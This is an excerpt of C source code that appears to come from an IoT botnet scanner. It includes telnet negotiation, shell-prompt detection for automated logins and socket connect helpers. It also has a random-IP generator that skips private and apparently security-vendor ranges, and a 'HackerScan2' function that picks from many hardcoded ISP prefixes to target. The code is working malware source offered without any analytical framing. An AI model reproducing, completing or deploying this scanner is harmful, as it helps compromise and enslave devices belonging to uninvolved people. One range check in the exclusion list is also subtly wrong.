  669. void reset_telstate(struct telstate_t* telstate)
  670. {
  671. advance_state(telstate, 0);
  672. telstate->complete = 1;
  673. }
  674. int contains_response(char* buffer)
  675. {
  676. return contains_success(buffer) || contains_fail(buffer);
  677. }
  678. int connectTimeout(int fd, char *host, int port, int timeout){
  679. struct sockaddr_in dest_addr;
  680. fd_set myset;
  681. struct timeval tv;
  682. socklen_t lon;
  683.  
  684. int valopt;
  685. long arg = fcntl(fd, F_GETFL, NULL);
  686. arg |= O_NONBLOCK;
  687. fcntl(fd, F_SETFL, arg);
  688.  
  689. dest_addr.sin_family = AF_INET;
  690. dest_addr.sin_port = htons(port);
  691. if(getHost(host, &dest_addr.sin_addr)) return 0;
  692. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  693. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  694.  
  695. if (res < 0) {
  696. if (errno == EINPROGRESS) {
  697. tv.tv_sec = timeout;
  698. tv.tv_usec = 0;
  699. FD_ZERO(&myset);
  700. FD_SET(fd, &myset);
  701. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  702. lon = sizeof(int);
  703. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  704. if (valopt) return 0;
  705. }
  706. else return 0;
  707. }
  708. else return 0;
  709. }
  710.  
  711. arg = fcntl(fd, F_GETFL, NULL);
  712. arg &= (~O_NONBLOCK);
  713. fcntl(fd, F_SETFL, arg);
  714.  
  715. return 1;
  716. }
  717. int listFork(){
  718. uint32_t parent, *newpids, i;
  719. parent = fork();
  720. if (parent <= 0) return parent;
  721. numpids++;
  722. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  723. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  724. newpids[numpids - 1] = parent;
  725. free(pids);
  726. pids = newpids;
  727. return parent;
  728. }
  729. int negotiate(int sock, unsigned char *buf, int len){
  730. unsigned char c;
  731.  
  732. switch (buf[1]) {
  733. case CMD_IAC: return 0;
  734. case CMD_WILL:
  735. case CMD_WONT:
  736. case CMD_DO:
  737. case CMD_DONT:
  738. c = CMD_IAC;
  739. send(sock, &c, 1, MSG_NOSIGNAL);
  740. if (CMD_WONT == buf[1]) c = CMD_DONT;
  741. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  742. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  743. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  744. send(sock, &c, 1, MSG_NOSIGNAL);
  745. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  746. break;
  747.  
  748. default:
  749. break;
  750. }
  751.  
  752. return 0;
  753. }
  754. int matchPrompt(char *bufStr){
  755. char *prompts = ":>%$#\0";
  756.  
  757. int bufLen = strlen(bufStr);
  758. int i, q = 0;
  759. for(i = 0; i < strlen(prompts); i++)
  760. {
  761. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  762. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  763. }
  764.  
  765. return 0;
  766. }
  767. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex){
  768. int bufferUsed = initialIndex, got = 0, found = 0;
  769. fd_set myset;
  770. struct timeval tv;
  771. tv.tv_sec = timeout;
  772. tv.tv_usec = timeoutusec;
  773. unsigned char *initialRead = NULL;
  774.  
  775. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  776. {
  777. FD_ZERO(&myset);
  778. FD_SET(fd, &myset);
  779. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  780. initialRead = buffer + bufferUsed;
  781. got = recv(fd, initialRead, 1, 0);
  782. if(got == -1 || got == 0) return 0;
  783. bufferUsed += got;
  784. if(*initialRead == 0xFF)
  785. {
  786. got = recv(fd, initialRead + 1, 2, 0);
  787. if(got == -1 || got == 0) return 0;
  788. bufferUsed += got;
  789. if(!negotiate(fd, initialRead, 3)) return 0;
  790. } else {
  791. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  792. }
  793. }
  794.  
  795. if(found) return 1;
  796. return 0;
  797. }
  798. static uint8_t ipState[5] = {0};
  799. in_addr_t getRandomPublicIP()
  800. {
  801. if(ipState[1] > 0 && ipState[4] < 255)
  802. {
  803. ipState[4]++;
  804. char ip[16] = {0};
  805. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  806. return inet_addr(ip);
  807. }
  808.  
  809. ipState[0] = rand() % 255;
  810. ipState[1] = rand() % 255;
  811. ipState[2] = rand() % 255;
  812. ipState[3] = rand() % 255;
  813.  
  814. while(
  815. (ipState[0] == 0) ||
  816. (ipState[0] == 10) ||
  817. (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  818. (ipState[0] == 127) ||
  819. (ipState[0] == 169 && ipState[1] == 254) ||
  820. (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  821. (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  822. (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  823. (ipState[0] == 192 && ipState[1] == 168) ||
  824. (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  825. (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  826. (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  827. (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  828. (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  829. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  830. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  831. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  832. (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  833. (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  834. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
  835. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  836. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  837. (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  838. (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  839. (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  840. (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  841. (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  842. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  843. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  844. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  845. (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  846. (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  847. (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  848. (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  849. (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  850. (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  851. (ipState[0] == 208 && ipState[1] == 67) ||
  852. (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  853. (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  854. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  855. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  856. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  857. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  858. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  859. (ipState[0] >= 224)
  860. )
  861. {
  862. ipState[0] = rand() % 255;
  863. ipState[1] = rand() % 255;
  864. ipState[2] = rand() % 255;
  865. ipState[3] = rand() % 255;
  866. }
  867.  
  868. char ip[16] = {0};
  869. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  870. return inet_addr(ip);
  871. }
  872. in_addr_t getRandomIP(in_addr_t netmask)
  873. {
  874. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  875. return tmp ^ ( rand_cmwc() & ~netmask);
  876. }
  877. in_addr_t HackerScan2(){
  878. ipState[1] = 0;
  879. ipState[2] = 0;
  880. ipState[3] = 0;
  881. ipState[4] = 0;
  882. ipState[1] = rand() % 255;
  883. ipState[2] = rand() % 255;
  884. ipState[3] = rand() % 255;
  885. ipState[4] = rand() % 255;
  886. int randnum = rand() % 208;
  887. char ip[16];
  888. if(randnum == 0)
  889. {
  890. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  891. }
  892. if(randnum == 1)
  893. {
  894. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  895. }
  896. if(randnum == 2)
  897. {
  898. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  899. }
  900. if(randnum == 3)
  901. {
  902. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  903. }
  904. if(randnum == 4)
  905. {
  906. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  907. }
  908. if(randnum == 5)
  909. {
  910. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  911. }
  912. if(randnum == 6)
  913. {
  914. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  915. }
  916. if(randnum == 7)
  917. {
  918. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  919. }
  920. if(randnum == 8)
  921. {
  922. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  923. }
  924. if(randnum == 9)
  925. {
  926. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  927. }
  928. if(randnum == 10)
  929. {
  930. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  931. }
  932. if(randnum == 11)
  933. {
  934. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  935. }
  936. if(randnum == 12)
  937. {
  938. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  939. }
  940. if(randnum == 13)
  941. {
  942. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  943. }
  944. if(randnum == 14)
  945. {
  946. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  947. }
  948. if(randnum == 15)
  949. {
  950. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  951. }
  952. if(randnum == 16)
  953. {
  954. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  955. }
  956. if(randnum == 17)
  957. {
  958. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  959. }
  960. if(randnum == 18)
  961. {
  962. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  963. }
  964. if(randnum == 19)
  965. {
  966. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  967. }
  968. if(randnum == 20)
  969. {
  970. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  971. }
  972. if(randnum == 21)
  973. {
  974. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  975. }
  976. if(randnum == 22)
  977. {
  978. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  979. }
  980. if(randnum == 23)
  981. {
  982. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  983. }
  984. if(randnum == 24)
  985. {
  986. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  987. }
  988. if(randnum == 25)
  989. {
  990. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  991. }
  992. if(randnum == 26)
  993. {
  994. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  995. }
  996. if(randnum == 27)
  997. {
  998. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  999. }
  1000. if(randnum == 28)
  1001. {
  1002. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  1003. }
  1004. if(randnum == 29)
  1005. {
  1006. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  1007. }
  1008. if(randnum == 30)
  1009. {
  1010. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  1011. }
  1012. if(randnum == 31)
  1013. {
  1014. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  1015. }
  1016. if(randnum == 32)
  1017. {
  1018. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  1019. }
  1020. if(randnum == 33)
  1021. {
  1022. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  1023. }
  1024. if(randnum == 34)
  1025. {
  1026. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  1027. }
  1028. if(randnum == 35)
  1029. {
  1030. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  1031. }
  1032. if(randnum == 36)
  1033. {
  1034. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  1035. }
  1036. if(randnum == 37)
  1037. {
  1038. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  1039. }
  1040. if(randnum == 38)
  1041. {
  1042. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1043. }
  1044. if(randnum == 39)
  1045. {
  1046. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  1047. }
  1048. if(randnum == 40)
  1049. {
  1050. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1051. }
  1052. if(randnum == 41)
  1053. {
  1054. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  1055. }
  1056. if(randnum == 42)
  1057. {
  1058. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1059. }
  1060. if(randnum == 43)
  1061. {
  1062. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1063. }
  1064. if(randnum == 44)
  1065. {
  1066. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1067. }
  1068. if(randnum == 45)
  1069. {
  1070. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  1071. }
  1072. if(randnum == 46)
  1073. {
  1074. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1075. }
  1076. if(randnum == 47)
  1077. {
  1078. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  1079. }
  1080. if(randnum == 48)
  1081. {
  1082. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  1083. }
  1084. if(randnum == 49)
  1085. {
  1086. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  1087. }
  1088. if(randnum == 50)
  1089. {
  1090. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  1091. }
  1092. if(randnum == 51)
  1093. {
  1094. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  1095. }
  1096. if(randnum == 52)
  1097. {
  1098. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  1099. }
  1100. if(randnum ==53)
  1101. {
  1102. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  1103. }
  1104. if(randnum == 54)
  1105. {
  1106. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  1107. }
  1108. if(randnum == 55)
  1109. {
  1110. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  1111. }
  1112. if(randnum == 56)
  1113. {
  1114. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  1115. }
  1116. if(randnum == 57)
  1117. {
  1118. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  1119. }
  1120. if(randnum == 58)
  1121. {
  1122. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  1123. }
  1124. if(randnum == 59)
  1125. {
  1126. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  1127. }
  1128. if(randnum == 60)
  1129. {
  1130. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  1131. }
  1132. if(randnum == 61)
  1133. {
  1134. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  1135. }
  1136. if(randnum == 62)
  1137. {
  1138. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  1139. }
  1140. if(randnum == 63)
  1141. {
  1142. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  1143. }
  1144. if(randnum == 64)
  1145. {
  1146. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  1147. }
  1148. if(randnum == 65)
  1149. {
  1150. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  1151. }
  1152. if(randnum == 66)
  1153. {
  1154. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  1155. }
  1156. if(randnum == 67)
  1157. {
  1158. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  1159. }
  1160. if(randnum == 68)
  1161. {
  1162. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  1163. }
  1164. if(randnum == 69)
  1165. {
  1166. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  1167. }
  1168. if(randnum == 70)
  1169. {
  1170. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  1171. }
  1172. if(randnum == 71)
  1173. {
  1174. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  1175. }
  1176. if(randnum == 72)
  1177. {
  1178. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  1179. }
  1180. if(randnum == 73)
  1181. {
  1182. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  1183. }
  1184. if(randnum == 74)
  1185. {
  1186. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  1187. }
  1188. if(randnum == 75)
  1189. {
  1190. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  1191. }
  1192. if(randnum == 76)
  1193. {
  1194. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  1195. }
  1196. if(randnum == 77)
  1197. {
  1198. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  1199. }
  1200. if(randnum == 78)
  1201. {
  1202. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  1203. }
  1204. if(randnum == 79)
  1205. {
  1206. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  1207. }
  1208. if(randnum == 80)
  1209. {
  1210. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  1211. }
  1212. if(randnum == 81)
  1213. {
  1214. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  1215. }
  1216. if(randnum == 82)
  1217. {
  1218. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  1219. }
  1220. if(randnum == 83)
  1221. {
  1222. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  1223. }
  1224. if(randnum == 84)
  1225. {
  1226. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  1227. }
  1228. if(randnum == 85)
  1229. {
  1230. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  1231. }
  1232. if(randnum == 86)
  1233. {
  1234. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  1235. }
  1236. if(randnum == 87)
  1237. {
  1238. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  1239. }
  1240. if(randnum == 88)
  1241. {
  1242. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  1243. }
  1244. if(randnum == 89)
  1245. {
  1246. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  1247. }
  1248. if(randnum == 90)
  1249. {
  1250. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  1251. }
  1252. if(randnum == 91)
  1253. {
  1254. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  1255. }
  1256. if(randnum == 92)
  1257. {
  1258. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  1259. }
  1260. if(randnum == 93)
  1261. {
  1262. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  1263. }
  1264. if(randnum == 94)
  1265. {
  1266. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1267. }
  1268. if(randnum == 95)
  1269. {
  1270. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1271. }
  1272. if(randnum == 96)
  1273. {
  1274. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1275. }
  1276. if(randnum == 97)
  1277. {
  1278. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1279. }
  1280. if(randnum == 98)
  1281. {
  1282. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1283. }
  1284. if(randnum == 99)
  1285. {
  1286. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1287. }
  1288. if(randnum == 100)
  1289. {
  1290. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1291. }
  1292. if(randnum == 101)
  1293. {
  1294. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1295. }
  1296. if(randnum == 102)
  1297. {
  1298. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1299. }
  1300. if(randnum == 103)
  1301. {
  1302. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1303. }
  1304. if(randnum == 104)
  1305. {
  1306. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1307. }
  1308. if(randnum == 105)
  1309. {
  1310. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1311. }
  1312. if(randnum == 106)
  1313. {
  1314. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1315. }
  1316. if(randnum == 107)
  1317. {
  1318. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1319. }
  1320. if(randnum == 108)
  1321. {
  1322. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1323. }
  1324. if(randnum == 109)
  1325. {
  1326. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1327. }
  1328. if(randnum == 110)
  1329. {
  1330. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1331. }
  1332. if(randnum == 111)
  1333. {
  1334. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1335. }
  1336. if(randnum == 112)
  1337. {
  1338. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1339. }
  1340. if(randnum == 113)
  1341. {
  1342. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1343. }
  1344. if(randnum == 114)
  1345. {
  1346. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1347. }
  1348. if(randnum == 115)
  1349. {
  1350. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1351. }
  1352. if(randnum == 116)
  1353. {
  1354. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1355. }
  1356. if(randnum == 117)
  1357. {
  1358. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1359. }
  1360. if(randnum == 118)
  1361. {
  1362. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1363. }
  1364. if(randnum == 119)
  1365. {
  1366. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1367. }
  1368. if(randnum == 120)
  1369. {
  1370. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1371. }
  1372. if(randnum == 121)
  1373. {
  1374. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1375. }
  1376. if(randnum == 122)
  1377. {
  1378. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1379. }
  1380. if(randnum == 123)
  1381. {
  1382. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1383. }
  1384. if(randnum == 124)
  1385. {
  1386. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1387. }
  1388. if(randnum == 125)
  1389. {
  1390. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1391. }
  1392. if(randnum == 126)
  1393. {
  1394. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1395. }
  1396. if(randnum == 127)
  1397. {
  1398. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1399. }
  1400. if(randnum == 128)
  1401. {
  1402. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1403. }
  1404. if(randnum == 129)
  1405. {
  1406. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1407. }
  1408. if(randnum == 130)
  1409. {
  1410. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1411. }
  1412. if(randnum == 131)
  1413. {
  1414. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1415. }
  1416. if(randnum == 132)
  1417. {
  1418. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1419. }
  1420. if(randnum == 133)
  1421. {
  1422. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1423. }
  1424. if(randnum == 134)
  1425. {
  1426. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1427. }
  1428. if(randnum == 135)
  1429. {
  1430. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1431. }
  1432. if(randnum == 136)
  1433. {
  1434. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1435. }
  1436. if(randnum == 137)
  1437. {
  1438. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1439. }
  1440. if(randnum == 138)
  1441. {
  1442. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1443. }
  1444. if(randnum == 139)
  1445. {
  1446. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1447. }
  1448. if(randnum == 140)
  1449. {
  1450. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1451. }
  1452. if(randnum == 141)
  1453. {
  1454. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1455. }
  1456. if(randnum == 142)
  1457. {
  1458. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1459. }
  1460. if(randnum == 143)
  1461. {
  1462. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1463. }
  1464. if(randnum == 144)
  1465. {
  1466. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1467. }
  1468. if(randnum == 145)
  1469. {
  1470. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1471. }
  1472. if(randnum == 146)
  1473. {
  1474. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1475. }
  1476. if(randnum == 147)
  1477. {
  1478. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1479. }
  1480. if(randnum == 148)
  1481. {
  1482. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1483. }
  1484. if(randnum == 149)
  1485. {
  1486. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1487. }
  1488. if(randnum == 150)
  1489. {
  1490. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1491. }
  1492. if(randnum == 151)
  1493. {
  1494. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1495. }
  1496. if(randnum == 152)
  1497. {
  1498. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1499. }
  1500. if(randnum == 153)
  1501. {
  1502. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1503. }
  1504. if(randnum == 154)
  1505. {
  1506. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1507. }
  1508. if(randnum == 155)
  1509. {
  1510. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1511. }
  1512. if(randnum == 156)
  1513. {
  1514. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1515. }
  1516. if(randnum == 157)
  1517. {
  1518. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1519. }
  1520. if(randnum == 158)
  1521. {
  1522. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1523. }
  1524. if(randnum == 159)
  1525. {
  1526. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1527. }
  1528. if(randnum == 160)
  1529. {
  1530. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1531. }
  1532. if(randnum == 161)
  1533. {
  1534. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1535. }
  1536. if(randnum == 162)
  1537. {
  1538. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1539. }
  1540. if(randnum == 163)
  1541. {
  1542. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1543. }
  1544. if(randnum == 164)
  1545. {
  1546. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1547. }
  1548. if(randnum == 165)
  1549. {
  1550. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1551. }
  1552. if(randnum == 166)
  1553. {
  1554. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1555. }
  1556. if(randnum == 167)
  1557. {
